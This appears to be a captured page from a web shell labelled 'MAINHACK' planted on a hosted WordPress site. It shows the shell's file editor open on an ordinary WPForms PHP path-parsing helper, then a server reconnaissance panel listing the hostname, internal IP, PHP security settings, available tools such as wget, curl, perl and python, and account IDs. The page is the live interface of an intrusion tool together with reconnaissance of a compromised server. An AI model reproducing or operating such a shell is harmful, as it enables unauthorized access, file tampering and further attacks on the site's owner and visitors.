[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: PathParser.php
<?php namespace WPForms\Helpers; /** * Helper to handle folder path parsing and processing. * * @since 1.10.0 */ class PathParser { /** * Split the folder path by "/" while preserving smart tags intact. * * Smart tags like {entry_date format="d/m/Y"} contain "/" in attributes * which should not be treated as path separators. * * Examples: * - /uploads/wpforms/tmp * - /uploads/wpforms/{date format="d/m/Y"} * - /uploads/wpforms/{entry_date format="d-m-Y"} * * @since 1.10.0 * * @param string $folder_path Folder path with forward slashes. * * @return array Array of folder path parts with smart tags preserved. */ public static function split_folder( string $folder_path ): array { $parts = []; $current_part = ''; $inside_braces = 0; $length = strlen( $folder_path ); for ( $i = 0; $i < $length; $i++ ) { $char = $folder_path[ $i ]; if ( $char === '{' ) { ++$inside_braces; } elseif ( $char === '}' ) { --$inside_braces; } if ( $char === '/' && $inside_braces === 0 ) { $trimmed = trim( $current_part ); if ( ! wpforms_is_empty_string( $trimmed ) ) { $parts[] = $trimmed; } $current_part = ''; continue; } $current_part .= $char; } $trimmed = trim( $current_part ); if ( ! wpforms_is_empty_string( $trimmed ) ) { $parts[] = $trimmed; } return $parts; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697